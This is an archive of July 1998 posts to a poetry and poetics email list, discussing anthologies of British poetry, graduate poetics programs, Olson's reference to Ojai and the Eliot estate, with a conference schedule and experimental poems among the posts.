There are other ways to get there. For variants sake, one can pass through the unoccupied tollhouse gate pre-sided in wood shingles by someone whose receipt for the work was lost, was not recorded, in order to reach you, riding a bus on an island country.

Be well

David Baratier

"As suicides diminish, family size regularly increases"
--Emile Durkheim

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327. **charles alexander**
Re: Watten)Schwitters)Eros)Romance)
Sat 11 Jul 1998

Wasn't it "A bus ride is better than most art."

or is my memory failing me?

charles

At 08:34 AM 7/11/98 EDT, you wrote:
>On Fri, 10 Jul 1998 19:33:34 EDT <[redacted]> said:
>>I guess barratt watten was right, a bus ride is better than most poems.
>>
>When you get a little older, try them both - bus rides, poems - you might
>learn something!
>- Henry Gould
>
>

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328. **Peter Quartermain**
Re: Other introductions
Sat 11 Jul 1998

At 03:04 PM 7/10/98 -0400, Michael Coffey wrote:
> even if you don't have a publisher asking YOU to cull a collection and
>write an intro, you might be surprised what could happen if you DID cull
>a selection and propose to introduce it as you say. how bout that?

For the record: yes, it would be wonderful to have a publisher ASKING us or me to
cull a collection. Ric Caddel and I nattered together about this anthology for a
couple of years before actually doing anything substantial about it, and it took
more than another two years, and a LOT of work, to find a publisher courageous
enough (or foolish enough) to risk it. We're both thankful indeed that Wesleyan UP /
U of New England Press took it on.
"Inside"? "Outside"? "Centre"? "Margin"? "Gate"? Well, whatever metaphor
Gary R wants to reject or adopt, SOMETHING might account for publishers' reluctance.

Michael Coffee also asked
>though, by way of a question: who published the
>C&Q anthology on Brits and mics?

The book itself won't be out till December, but (as
already posted) the unabridged Intro is available in John Tranter's Jacket # 4
(http://www.jacket.zip.com.au/jacket04/otherbrit.html

and he added
> .... a howdy
>to Irishman Randolph Healey, whose work i hope is in that anthology,

SOME of it is, yes.

Peter
+ +
Peter Quartermain
846 Keefer Street
Vancouver
B.C.
Canada V6A 1Y7
Voice : [redacted]
Fax: [redacted]
+ +

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329. Jerry McGuire
contest update
Sat 11 Jul 1998

Please note that the deadline for the contest of the Deep South Writers Conference has been changed. The new postmark deadline is August 3.

For full details on the conference and/or contest, please email me at

[redacted]

Best wishes,

Jerry McGuire

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330. Christian Roess
Re: Influence of Poetics Programs
Sun 12 Jul 1998

I am glad to have gotten my digest. I guess some mail is getting through. There was a posting that it was shutdown for the weekend.??

Todd Baron. I am unable to answer your question, except indirectly. I do wonder, as you do, how various poetics programs will and promote the dissemination, ie teaching, writing, editing of poetry. I have only ever taken one post-graduate poetry/poetics seminar, one semester, fortunately with William Slaughter , at Univ. of North Florida, seven years ago, before he launched and

edited MUDLARK (part of the List group here as you probably know).The class was overbooked as it was, and I had to get special permission from the instructor to get into the class, but by showing genuine interest I had my ticket in NO questions asked.

The only poets I had read on my own outside the classroom because I wanted to, were Stevens, Raymond Carver, and Rilke (because Carver mentioned him in a few poems, and in his short story "The Student's Wife", written when he was only around 23 years old, by the way). Yet this little bit of interest was all it took , and gradually I wanted to find out more. Until then, I had never dreamed that there were writers like Oppen or Reznikoff or Robert Duncan ,Creeley and Olson, Michael Palmer& Zukofsky, or _Sulfur_ mag,etc. I remember looking at _A_ seven years ago and feeling like it was impenetrable. Resisting it, somehow. Oh, well...blah, blah, blah. Now, I jump into it from time to time.I am astounded at times, and still befuddled, of course.

These kinds of stories are a dime- a- dozen, I know , so sorry for the boring home movie.

Yet , I'm kind of connected ("virtually connected") to the Buffalo Poetics program, though my grades were lousy in college,and with no publications, etc., I would never be accepted into any kind of a poetics progam like this one which can choose from among the best of the best. And YET, I am a part of it too! I was welcomed to the Listserv, no questions asked. Ain't it a gas! Think of it Todd. I can look up Charles Berstein's or Susan Howe's syllabus (or is it syllabi?) for their classes! So , what does that say about the influence of this particular poetics program?

Anyhow, I was fortunate to have a fine teacher, and just one course is all it took to help me find my way . The testimony of one teacher was the signpost needed.. And since I work in the public schools, well won't I be more effective in the classroom because in a sense, I AM part of this 'Poetics' program, through EPC?(Though of course human interaction in a physical classroom setting , interacting with the teacher and classmates is obviously the best way to go.)

As Carver might say, this is 'gravy'.

chris

_____ Get free e-mail and a permanent address at http://www.netaddress.com/?N=1

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331. **toddbaron**
a (new) dialogue
Sun 12 Jul 1998

Here's a dialogue I'm very interested in starting:

As one of a few (comparatively) MAs--MFA--etc. with a degree in Poetics--I'm wondering what listees think of Poetics (versus Creative Writitng: not a program where one works on one's own work--but a poetics dept. like Naropa, New College, Buffalo) Departments and their affect of Poetics. Under the "leadership" of Duncan McNaughton and Louis Patler, under the teaching of M. Palmer, David Meltzer, Lyn Hejinian--I gradued in 1990 from New College. The program was then not a creative writing program per se: we had to do grad. level work and writing to earn our degrees--a thesis--and I "think" I know how the study of Olson, The Romantics, Oppen, Dickinson, Basic Texts (Aristotle, etc), Whitman and the texts that influenced their poetics has affected my work as a poet. But:

I recently asked the question of "affect" of Charles B. and the idea has flown about in my head for awhile-- The question is throughly documented in terms of Visual/Plastic Arts dept.s: How Cal-Arts affects the Arts (heavily conceptual)--how Black Mountain affected the Arts--How R.I.S.D , Irivine, UCSD, or etc. has affected a dialogue in the visual arts. We know that critics--that theory--that work itself comes from these schools: But I'm wondering if those out there involved/enrolled/graduated from could speak to the question:

What affect do Poetics/Poetry Dept. degrees and programs actually have on cont. poetry and poetics.

Since some of these places are not strictly "academic"(as New C. wasn't) How do these dept.s enlarge their circle of influence? Think of Black Mountain--and who/what came from there under Olson. Think of the myriad of publications that appear from these places (Apex of the M, Tripwire--some ones that recently come to mind)

I'm meandering abit--but the question is large. Since the question has been raised about academic studies in lit. here in general.

thanks for all,

Todd Baron
(ReMap)

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332. **toddbaron**
ps
Sun 12 Jul 1998

Obviously an MA in Poetics hasn't guranteed my typing or spelling abilities!

Tb

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333. **izak**
robert gluck
Sun 12 Jul 1998

Does anyone know Robert Gluck's email address?
If so, please backchannel it to me.

Thanks,
Joanna Sondheim

****

"It does not behoove me to make myself smaller than I am." -Edith Sodergran
****

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334. **R I Caddel**
Other introductions
Sun 12 Jul 1998

Sympathies with Gary Roberts, even as we trot out the lines he finds over-familiar, the centre/ periphery mainstream/ margin monoculture/ plurality rag. I get tired of it too, and wish it was no longer necessary to say it. But - this is the point - it's where I (and the other Others) live. As we try to suggest in our intro (invoking Matthias from three decades ago and Langland from the 14th cent) it's not a new thing: the pluralities of the culture of these islands seem always to be "outside". Why, it got so bad at some points that people just sailed away from it...

Yes, Healy's there, and I guess many - er - Others who may or may not be known to members of this list, but who remain for the most part firmly unknown and yes, marginalised at our end. But at this point in the process I lie awake nights fretting about the other Others, the ones we had to leave out in what is self-evidently a non-canonical plural presentation rather than a group show. The telling of the wheres hows n whys which Gary craves would thus be a book at least as long as this 352pp collection, rather than an introduction to it. Someone should write it.

Richard Caddel
Durham University Library, Stockton Rd., Durham DH1 3LY, UK
E-mail: [redacted]
Phone: [redacted] Fax: [redacted]
WWW: http://www.dur.ac.uk/~dul0ric

"Words! Pens are too light. Take a chisel to write."
- Basil Bunting

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335. **Karen Kelley**
Re: a (new) dialogue
Sun 12 Jul 1998

Hi Todd,

I wanted to say a word about the Creative Writing/Poetics Program split you seem to suggest. As an undergrad in visual arts, I learned to critique and respond to the work of other visual artists "around" me (conceptually, in that some worked in other historical times), and be involved in and aware of their work & its influences on mine. I was surprised in grad school (creative writing) to find that there were students there who seemed to expect to be *taught* how to write, who read *very* sparingly the works of other poets, and who formed almost no critical responses to the little work they did read. This, while it was the norm, was not absolute across the board. There *were* students there who had (as Clayton Eshleman has suggested as necessary) "broken their heads" against the works of challenging writers. This persistence is of course what will direct poetry, I think. Just the pure ornery desire to get into poetics we don't immediately "understand," poetics that capture our imagination and challenge our ideas of what poetry is.

But it isn't a process that needs necessarily be absent from writing programs. My professors (especially one in undergrad & one in grad school)
were excellent directors--and one has to be motivated enough to go looking
for one's self. Certainly anthologies like _Millennium_ are GREAT resources
for people who pursue their knowledge for themselves (like Chris Roess).

(p.s. to Chris: Clayton has a wonderful book about the vocation of poetry
called _Novices_)

The concept of certain schools being important sort of seems to come after the fact, in that way that history retroactively narrativizes what it assumes happened purposefully. Some schools may come to be a locus for lots of activity, but in fact it's the *people* who make the difference.

toddbaron wrote:

> Here's a dialogue I'm very interested in starting:
>
> As one of a few (comparatively) MAs--MFA--etc. with a degree in
> Poetics--I'm wondering what listees think of Poetics (versus Creative
> Writitng: not a program where one works on one's own work--but a poetics
> dept. like Naropa, New College, Buffalo) Departments and their affect of
> Poetics. Under the "leadership" of Duncan McNaughton and Louis Patler,
> under the teaching of M. Palmer, David Meltzer, Lyn Hejinian--I gradued
> in 1990 from New College. The program was then not a creative writing
> program per se: we had to do grad. level work and writing to earn our
> degrees--a thesis--and I "think" I know how the study of Olson, The
> Romantics, Oppen, Dickinson, Basic Texts (Aristotle, etc), Whitman and
> the texts that influenced their poetics has affected my work as a poet.
> But:
>
> I recently asked the question of "affect" of Charles B. and the idea has
> flown about in my head for awhile-- The question is throughly documented
> in terms of Visual/Plastic Arts dept.s: How Cal-Arts affects the Arts
> (heavily conceptual)--how Black Mountain affected the Arts--How R.I.S.D
> , Irivine, UCSD, or etc. has affected a dialogue in the visual arts. We
> know that critics--that theory--that work itself comes from these
> schools: But I'm wondering if those out there
> involved/enrolled/graduated from could speak to the question:
>
> What affect do Poetics/Poetry Dept. degrees and programs actually have

> on cont. poetry and poetics.
>
> Since some of these places are not strictly "academic"(as New C.
> wasn't) How do these dept.s enlarge their circle of influence? Think
of
> Black Mountain--and who/what came from there under Olson. Think of
the
> myriad of publications that appear from these places (Apex of the M,
> Tripwire--some ones that recently come to mind)
>
> I'm meandering abit--but the question is large. Since the question has

> *been raised about academic studies in lit. here in general.*
>
> *thanks for all,*
>
> *Todd Baron*
> *(ReMap)*

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336. **morpheal**

Re: the center will not hold [so fortify it so it does hold or perish for not doing so]

Sun 12 Jul 1998

> *"Man is not so much placed in this idealized center of the world as he is exposed there. The position of Stoicism's observer of the world, at rest, has become the initial position of a self-shaping and world-transforming agent. All other creatures, we are told, have a definite nature, within firmly established laws, imposed upon them. Man is supposed to determine his nature himself on the basis of his freedom; which now means to see the world as serving his self-definition. Even before Copernicus, the shift of the accent from cosmology to anthropology, a process on which the Middle Ages as a whole had worked--under the terms set by prior assumptions--in tiny steps, and with setbacks, is pushed so far forward that the loss of the real center of the universe, as a consequence of a relation to the world that could no longer be characterized cosmologically, could be accepted."---from The Genesis of the Copernican World by Hans Blumenberg*

Anthropocentricism is dangerous. It leads to the belief that there are no other intelligent, competing, species out there in the universe. It leads to the belief that life on planet Earth is safe harboured from those competing species, and only a danger to itself, mostly by means of war and ecological disasters. Nothing could ultimately be further from the truth. As humankind probes further from home planet, the dangers increase, and the sophistication of potentially

competitive species also increases. There is nothing to guarantee that such species will be peaceful, except our own wishful science fiction. A science fiction that is in its search for lost father figures in outer space and perhaps lost divinities, which amounts to much the same thing in strictly Freudian terms. We must realize that a more intelligent species might in fact be a more violently competitive species despite its intelligence.

We have seen how war changed on Earth as human intelligence grew. We have seen the willingness to use weapons of mass destruction, by increasingly educated, enlightened beings. We have no reason to believe that an alien, perhaps more intelligent, space traveling, species would not be equally, or more, aggressive in its territorial claims and its efforts at ascendancy than is the human species. In fact we must expect that another species might be more extreme than our own has proven itself to be. If we are disappointed in that grimmest of expectations, then nothing is lost in preparing for the worst.

If there is failure to expect that scenario of violently competitive alien species, endangering human survival, then the result might be the grimmest of all....the most horrible kind of extinction imaginable to our own. So it becomes a matter of survival of the species to be prepared for other worldly threats to human existence. Perhaps that is the ultimate prisoners' dilemma, where the various human factions who keep each other locked into threats of mortal combat, necessarily must join together to prepare a defence against an unknown other worldly adversary. The ultimate battle then is not one of man against man, but is in fact one of man against a hostile alien threat, that remains essentially undefinable unless our mythologies include some vague indications of previous contact. They might. We do not really know the answer. The demons and the angels might well be two non human species who battled amongst themselves, and whose violence against each other touched upon this world in ancient times. Perhaps a few of their ships reached this part of the universe, and the one was more convincing than the other to our ancient ancestors. So they looked on one side in that conflict as good and the other as evil, forgetting that in every war the one side inevitably calls the other side evil. Such wild speculations aside, as perhaps too far fetched, the chance of hostile, technically advanced, highly intelligent, and extremely competitive, species, with beliefs far divergent from our own, out there, somewhere in _our_ universe, is not only extremely high, but completely certain. They are out there,.....somewhere.....waiting for their next challenge....

> "*The time of an event is defined as the reading of a clock coincident with the event and at rest relative to it. Events which are simultaneous in one inertial frame are not simultaneous in another. Einstein's example: two identical rods R(1) and R(2) are coincident in a given inertial frame in which two observers O(1) and O(2) have synchronized*

> *their respective clocks...."--from 'Subtle is the Lord; The Science and the Life of Albert Einstein by Abraham Pais*

That being incorrect, due to the assumption that all events are vectored positively, forwards, along the time axis. Those clocks never run in reverse. That is in essence what makes them wrong. Time's arrow, its vector, is in fact, at best "bent", and sometimes vectored in the opposite direction, depending on what kinds of events we are discussing. Let us refer to events that are vectored negatively along the time line as vectored T, and events that are positively vectored along the time line as vectored t. Those are the common designations for the negative and positive sides of the time axis.

In fact it is my firm belief that a field, can be technically generated, that is vectored to Tx, around an object that is itself vectored along t, such that that object is carried by that field, at a mathematically infinite velocity, towards Tx, which is a value along the T axis. In other words that tachyonic fields generated around primarily tardyonic objects, can be the basis of vessels capable of "time travel", from the present into the past. Traversing vast distances in space, as well as traversing time towards what we see as being the past, is the expected outcome. It is likely that electromagnetic forces could be arranged in such a manner that the tachyonic field would not disrupt the essentially tardyonic matter of the ship and its crew. Therefore, I claim that manned time travel ships could become a reality in the not very distant future. In fact our ships, which will travel to the distant places in the universe, will essentially be time travel ships, propelled by tachyonic fields.

> "*The concept of observation is in so far arbitrary as it depends upon which objects are included in the system of observation.*"---*Neils Bohr*

Exactly.

M.

aka Bob Ezergailis

↑ Index

337. Mark DuCharme

Poetix programs?

Sun 12 Jul 1998

This is my first posting to the list-- though I've been following for the last week or so since signing on.

I'd like to respond to Todd Baron, since I am an M.F.A. graduate of one of the programs he mentions, Naropa.

Naropa's program is actually a mix of both creative writing & poetics, with more of an emphasis on creative writing. That said-- there were certainly lit-

related seminars, as well as (in my own experience) discussions of poetics in the actual workshops. Naropa's program is loosely structured in terms of content. What does or does not get taught may depend on the interests of faculty: there are no courses on "Basic Texts," for example. As a result, I think more leeway exists at Naropa for students to pursue individual poetics interests, & many do, with greater academic freedom than may exist even in a program like New College's.

However I'd like to bring up another point-- to disagree w/ Todd to a degree, based on my own experience. While Naropa, as I say, had a definite impact on me, I'd like to suggest that in my case &, I think, the case of people I know personally, what one gets from such a program (Naropa or New College) has much to do with the amount of responsibility taken by the individual for her/his education as a poet. & Such education is not just a matter of what one studied in that context (we all continue to read & grow in our practice, one hopes). Which probably doesn't contradict what Todd said at all, but which broadens the question of what affected anyone's poetics to, at least, a larger nexus than just such a program.

--Mark DuCharme

Todd Baron wrote:

<Here's a dialogue I'm very interested in starting:

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....

<What affect do Poetics/Poetry Dept. degrees and programs actually <have on cont. poetry and poetics.

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338. Christopher W. Alexander
Olson/Ojai?
Sun 12 Jul 1998

Recently ran across this mysterious reference in Olson:

> "San Francisco seems to have become an école
> des Sages ou Mages as ominous as Ojai, L.A."

Any of you historically-minded californians (or anyone)
out there know what the man is referring to? help wld be
much appreciated...

c h r i s

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted] / [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/

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339. Tom Beard
Re: romantic-not women duelling
Sun 12 Jul 1998

> Anyone listees with characters they feel really speak to "how one lives
one's
> life"?

For a while I tried to live like Kundera's (male) characters.

Big mistake.

> Tom (_not_ Tomas)

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340. toddbaron
Re: Poetix programs?
Sun 12 Jul 1998

Mark DuCharme wrote:
>
> This is my first posting to the list-- though I've been following for
> the last week or so since signing on.
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> I'd like to respond to Todd Baron, since I am an M.F.A. graduate of one
> of the programs he mentions, Naropa.
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> doesn't contradict what Todd said at all, but which broadens the
> question of what affected anyone's poetics to, at least, a larger nexus
> than just such a program.
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> --Mark DuCharme
>
> Todd Baron wrote:
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> <As one of a few (comparatively) MAs--MFA--etc. with a degree in
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> the texts that influenced their poetics has affected my work as a <poet.
> <But:
>
> ....
>
> <What affect do Poetics/Poetry Dept. degrees and programs actually <have
> on cont. poetry and poetics.
>
> _

Dear Mark:

No contradiction here: but perhaps I was not clear--my investigation reacts to a braoder question--persoanlly then--How do you think YOUR education as a Poet in a poetics dept. at a college has affected yr work. How do you think it affects a "school" of thought as a school of Poetics. NARAPA had a rep. for being based more on a spiritual investigation of poetcs--years ago--than a Comp. Lit study. Does that affect yr poetics--

Why Naropa--for you--rather than somewhere else.

Thanks --every answer engages me!

Tb__

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341. Alan Jennifer Sondheim

later, what happened, poetics of space/text

Mon 13 Jul 1998

-

Economy of Silk and Dreams [1989-1998]

(configurations of objects emerging from near-sleeping, turning through the anguish of iron hooks submerged in iron hooks)

visualizations and intersections of hyperspheres
Euler's formula for four-dimensional projections
fifth and higher-dimension measure polytopes
comfort of zero and negative-one dimension constructs
inconceivable iron configurations impossible to cast
holes and interior expansions of external iron elements
slowly rotating tetrahedra interlocked in various directions

intersecting polyhedra and columns of various sorts
slow excursions of meandering fractal point
number of squares necessarily added to reach a given number
turbulence in eddies with regular or irregular beds
articulations of lines and planes in four dimensions
point and line configurations in the plane and three dimensions
the centers of hyperspheres of various dimensions
hooks or lips against the center of a sphere
projection of a point or line in three dimensions
truncating polyhedra in two or three dimensions
pyramids and polygons completed with equilateral triangles
torsion applied to iron beams of various cross-sections
exposures of splayed body and its holes in various bindings
language-configurations of bindings into signs and omens
regular simplices surrounding a point in three and four dimensions
tetrahedra formed from skew-orthogonal lines embedded in the cube
nodes and skeins collapsing and expanding with luminous trails
Petrie polygons for cube and octahedron
number of n-dimensional polytopes in an m-dimensional measure polytope
threshold logic configurations with gates and channels and markers
configurations of conic sections
loosely-joined polyhedra in three dimensions and their collapsings
seven-hundred-twenty-degree rotational invariant of three dimensions
one-dimensional measure polytopes and simplices
projections of n-dimensional polyhedra onto one dimension
multiplexing in two-dimensional networks
loose objects within the interior of unsutured spheres
wounds and striations transfigured by thin membranes of silver threads
unfoldings opening to unfoldings stretched to the limit
flat hard ground withing giving unmarked by any geodesics
metal objects placed under self-strain with hooks and rings
tidal forces approaching event horizons of black holes
patterns of incoherent symmetry sequences
perfect alignments of distended arms and torsos and legs
approaching skew-orthogonal lines in empty three-dimensional space
black lines in yellow space
one-dimensional point approached in three-dimensional space
white point in black space
turbulent plateaus created by upwelling liquid swells
liquid pouring across naked open bodies
maximum twisting of loosely-joined polyhedra and polygons
twisting of three-dimensional cubic configurations in four dimensions

twistings and strengths of simplical chains in various dimensions
embeddings of three-dimensional interiors in four dimensions
perception of four dimensions with three-dimensional binocular vision
broken bricks falling through emerging patterns
massive compaction of the sphere, cube, and tetrahedron
pulled nipples creating breasts with body arched into bridge of dreams
relative wear of the massive sphere and various polytopes

True Story of Inheritance

Katagawa Jinko died and Nikuko was put in charge of his manuscripts. She remembers seeing a list of four men, and his name was the first. It was an odd name and she had problems reading it. The kanji were dusty and almost embedded in the wood; everything was close to disappearing, like wood sha- vings hardly holding their own. She smiled and thought, now I am in charge of the manuscripts.

She made a true or false answer to a question about one of the manuscripts - is this a manuscript of Katagawa Jinko - there were three answers, none of them were yes or no. I was quite upset. You're fooling around with this famous author's manuscripts, I said; they'll be dispersed. Don't you have any sympathy at all for the dead. She was contrite in fact at this, and stopped dragging the kanji behind her in furrows marked almost by a sight of miniature valleys left by looping trails in the dust, close to unread- able, and close to disappearing. She'd hold onto the revelation, not thinking further about it. It was enough; there were clouds of dust in the sky, a sense of grit, wood-shavings, the kanji worn and chipped. It was enough that she'd keep them, stop with the multiple-choice giveaways of Katagawa Jinko's work.

( ) ( ) ( )

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342. **rsillima**
Ojai et al
Mon 13 Jul 1998

My understanding is that Ojai has been a "new age" center since at least World War I (which makes it New Age avant le lettre) and that must mean that it's orientation must have been focused around the spiritual fads of its time -- Blavatsky, Krishnamurti, Edgar Casey (whose name I'm certain I've just misspelled).

I've always taken that comment of Olson's to be a sly dig at Robert Duncan who was raised in (and never strayed that far from in later life either) in theosophical tradition, a little payback for "Against Wisdom as Such."

B'rer Bromige, can you add additional insight?

Ron Silliman

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343. **Simon DeDeo**

Re: romantic-not women duelling

Mon 13 Jul 1998

> *yikes girl w/ the list above i feel for you. myself, it's genet's narrator in most of his "fiction." and mitya karamazov. thanks for the hot tip on*

The usual suspects, thank you, Louie: Raskalnikov, the odd flash of recognition in Turgenev's painstakingly drawn but strangely interchangable heros; Apollon Apollonovich and son in Bely's _Petersberg_, a work similar to (though less ambitious than) _Ulysses_. I wonder why the answers have clustered so far around the 19th century, with the odd excursion into Joyceian territory?

Oh, and of course -- George Eliot's Dorothea.

> *the experimental fiction book. i myself was not enraged by the newyorker on stein, but amused: the tone struck me as one of grandiose naivete, as if the writer thought *she* had discovered stein and was about to "explain"*

Well, the New Yorker's business is selling the hip -- look at the odd selections they make in the club listings, and the even stranger (and condescending) comments that accompany. The hip people need to explain, in that zen master mode of impenetrable correctness, the Way Things Are.

> *her to the masses who were still in the dark. like students who discover marxism for the first time, and think that their parents etc have never heard of it.*

Oh, yes; wonderful memories of that. A clunking radiator in a New Hampshire blizzard... I forget the exact circumstances, but it was a garbled version closer to Fourier than Marx... something about "heaven after the conflaguration", which all seems vaguely protosomethingdisturbing in retrospect.

-- Simon

http://www.fas.harvard.edu/~sdedeo/localpapers.html

[redacted]

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344. **Michael Franco**
SLIGHT UPDATE
Mon 13 Jul 1998

M. Franco here for Aaron Kiely's BOSTON ALTERNATIVE POETRY CONFERENCE: BLACKSMITH HOUSE, CAMBRIDGE MA. [HARVARD SQUARE]

FRI-SUN JULY 17-19 1998.

READERS/PRESENTERS:

BERNSTEIN, MESSERLI, TAGGART, MATLIN, TORRA, MLINKO, LANSING, F. HOWE, R. WALDROP, BOUCHARD, WARSH, JARNOT, BANSINSKI, GANICK, W. ALEXANDER, PREAVALLET, FUNKHOUSER, ZHANG ER, DOUD, LEASE, L. SCHWARTZ, D. GARDNER, KRUKOWSKI, STROFFOLINO,BURGER, W HOWE, GRUMNAN, BRADY, POUND, KRAMER, KNOX, WARSH, S. COLE, B. ANDERSON, GILMORE, KIELEYWERSHLER-HENRY, KIRSCHENBAUM, KRAMER, SCALAPINO, FRANCO,

FRIDAY JULY 17

READING: 7:30 [PLEASE NOT NEW SRTARTING TIME]
INTRODUCTION TO THE WEEKEND: w/ KIELY, SCHWARTZ & ALEXANDER

NIGHT READING:
F. HOWE D. BOUCHARD, GARDNER & STROFFOLINO

SAT JULY 18- 9: 30AM
VOCABULARY AND IMIGINATIONS: PANAL W/ MESSERLLI, ALEXANDER, SCHWARTZ, MATLIN,
KIELEY, LEASE, MLINKO & FRANCO

12:00 READING W/ TORRA, LANSING, MLINKO, LEASE, & KRUKOWSKI & SCALAPINO & KIELY

2PM: BIOGRAPHY & CRITCISM PANAL: W/ PREVALLET ON HELEN ADAM... JARNOT ON DUNCAN, ALEXANDER ON LAMANTIA TAGGART ON OPPEN, KNOX ON KOCH & ASHBERY, KIRSCHENBAUM ON d.a.levy, GILMORE ON OPPENHEIMER.

4PM AFTERNOON READING W/ TAGGART, KNOX, SCHWARTZ, ZHANG ER, FUNKHOUSER, KNOX, ANDERSON,BRADY, S.COLE

6PM DAVID MATLIN ON HIS NEW BOOK

7PM NIGHT READING: WARSH, JARNOT, MATLIN, ALEXANDER

SUNDAY JULY 19

10AM NEW POETRY PANEL PRESENTED & ORGANIZED BY BASINSKI w/ KRAMER, BRADY, BURGER, W.HOWE, WERSHLER-HENRY, GRUMMAN & POUND

2PM AFTERNOON READING: WALDROP, MESSERLI, DOUD & FRANCO

4PM PUBLISHING PANAL: W/ TORRA, MESSERLI, BOUCHARD, GANICK, KIRCHENBAUM, FUNKHOUSER

7PM NIGHT READING PREAVALLET, GANICK

8PM CHARLES BERNSTEIN POETRY & POETICS

ADMISSIONS:
$5/reading, $15/saturday pass, $10/sunday pass,
$35/weekend-people can reserve their space now through email or phone and then pay at the conference- checks payable to aaron kiely at p.o.box 441517 somerville, ma
02144-
INFORMATION / RESERVATIONS:

Aaron Kiely
PO box 441517
Somerville Ma 02144
or Email [redacted]
[redacted]

BEST TO ALL ON THE LIST
MICHAEL FRANCO

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345. Maria Damon
Re: romantic-not women duelling
Mon 13 Jul 1998

At 6:21 PM -0700 7/10/98, Karen Kelley wrote:

>
>Actually, I was thinking of love in a slightly different context yesterday. I
>don't know who it was who said we can learn morality from novels, but I
>started
>thinking again about the "people" I've learned most from (& loved) and made my
>not complete but pretty close list:
>
>Emma Bovary
>Anna Karenina

>Kate Pointellier
>Isabel Archer
>Tess Durbeyfield
>Molly Bloom
>(& Leopold)
>
>Anyone listees with characters they feel really speak to "how one lives one's
>life"?
>
yikes girl w/ the list above i feel for you. myself, it's genet's narrator in most of his "fiction." and mitya karamazov. thanks for the hot tip on the experimental fiction book. i myself was not enraged by the newyorker on stein, but amused: the tone struck me as one of grandiose naivete, as if the writer thought *she* had discovered stein and was about to "explain" her to the masses who were still in the dark. like students who discover marxism for the first time, and think that their parents etc have never heard of it.

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346. **Maria Damon**
Re: The Eliot problem(s)
Mon 13 Jul 1998

---

i'm curious about the first eliot problem. who controls the estate. is there any reason beside avarice that the cost of permissions is so high, i.e. is the prohibitiveness of the cost intended to be just that, prohibitive? if so, why? is there a subtext here and if so what is it? does anyone know? and thanks, ron, for linking stein and faulkner in terms of investigating the sentence. useful.

At 5:52 AM -0500 7/10/98, [redacted] wrote:
>There have been two Eliot problems raised in the past two days --
>
>One is the impact of his estate making stupid demands that keep the work
>from appearing in something akin to Millenium, save by round-about means.
>
>The other is the Eliot as good/bad person thing.
>
>They're really very different issues. The former Eliot shares with the
>estates of David Jones and Jack Kerouac. In Jones' case, where many people
>don't know the work, it's really regretable. In the other cases, it's mostly
>just stupid.
>
>The other question takes us into the quagmire shared by Pound, Spicer and

>others, really a reader's problem -- how to handle a writer's racism (or
>sexism or or or). Earlier this summer I read Faulkner's Flags in the Dust,
>the original version of what was released as Satoris (before Faulkner became
>famous and could really publish whatever he wanted). It's a rough work, in
>the sense that a book like Visions of Cody is rough, brilliant and awkward
>by turns. It's also the most racist work I've ever encountered, just jaw
>droppingly so, even though he may have thought himself a liberal by northern
>Mississippi 1930s standards. I've always liked Faulkner, since he is the one
>writer of his generation besides Stein who seems to have seriously thought
>about the sentence as a unit of writing ("thought" might not be the right
>word), but it was hard to feel good about liking the writing when has to
>wade through the muck.
>
>Ron Silliman

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347. Douglas Barbour
Re: Other introductions
Mon 13 Jul 1998

So I went & read all the way through Richard & Peter's Introduction. Aside from the fact that they didnt really PUSH the centre/margin trope all that hard, assuming it, yes, because such tropes of exclusion/inclusion seem unavoidable in such arguments, but really, getting down to pointing out how the engines of commercial publishing & 'high art' have worked very hard indeed to ignore a whole bun ch of writers in GB whose work, as a result, has remained un-, or only semi-, known to many who might otherwise have disovered it & been excited by it years ago. From what little I've read of some of the poets they include (& some of those they say they were forced to leave out), I expect to be terrifically excited by the work of those I havent read. I'm really looking forward to the anthology -- which, like Poems for the Millennium, will be "of use" in that it will provide some open doors to work that fofr many of us just isnt available, or at least not that easily found...

Douglas Barbour (h) [403] 4363320 (b) [403]
[redacted]
Department of English
University of Alberta
Edmonton Alberta Canada T6G 2E5

By stress and syllable
by change-rhyme and contour
we let the long line pace equal awkward to its period.

The short line
we refine
and keep for candor.

Robert Duncan

↑ Index

348. **Simon DeDeo**

Re: Other introductions

Mon 13 Jul 1998

I wonder if a main source of spatial imagery in poetics is due to the fact that many anthologists hope (and many readers expect, as withness the Eliot thread) that their collection represents some sort of omnibus edition of the time. So, before they can work their readers up to more "advanced" topics that involve the more neglected Modernists/ Postmoderns/[insert favourite maligned movement here], they have to trudge through The.Waste.Land just one more time. The periphery is quite literally periphery, filling the end of the chapter or slipping in between the alphabetic gaps left after taking out the E's and P's, a scattershot choice of authors as random, sometimes, as the colonial division of the Dark Continents. Having a "woman's section" or other such grouping only seems to make it worse.

From the OED:

anthology ænþo(hook).lod3i. [ad. L. anthologia, a. Gr. anqologia (f. anqo-j flower + -logia collection, f. leg-ein to gather), applied to a collection of poems. Cf. mod.Fr. anthologie. Later Gr. had also the homonym anqologion applied to a hymnal.]

-- Simon

http://www.fas.harvard.edu/~sdedeo/localpapers.html

[redacted]

↑ Index

349. **hen**
Re: Other introductions
Mon 13 Jul 1998

---

the center/margin descriptions come into anthology intros because anthologies usually try to be "representative" of something in a larger literary field. being "representative" is like one of the apologia for existing in the form in which it exists. But is this necessary? I could imagine an anthology that leaves the literary history to the critics & reviewers, and concentrates on the aesthetic dynamics of the various poets included. No apologies, no frames. this is probably sort of an artificial ideal but ideals come in handy sometimes. a problem with it is that anthology-makers are usually guided as much by political & lit-history motivations as by anything else. and people always want frames - it's like a raison d'etre - if you don't have frames, they will question the logic of your selection. - Henry Gould

↑ Index

350. **Pritchett,Patrick**
Re: Olson/Ojai
Mon 13 Jul 1998

Yes to all that, dear Kevin. And add this: Ojai means "nest" in Spanish and when you drive into the valley from the back way the view is breathtaking. Capra added to its mythology by using it as the backdrop for Shangri-La in "Lost Horizon." I once knew a belly dancer there, but this is hardly the place to go into all that...

Patrick Pritchett

From: [redacted]
To: [redacted]
Subject: Olson/Ojai
Date: Monday, July 13, 1998 10:16AM

Christopher Alexander wrote:

> *Recently ran across this mysterious reference in Olson:*
>
> > *"San Francisco seems to have become an =E9cole des Sages ou Mages as ominous as Ojai, L.A."*
>
> *Any of you historically-minded californians (or anyone) out there know what the man is referring to? help wld be much appreciated...*
>
> *c h r i s*

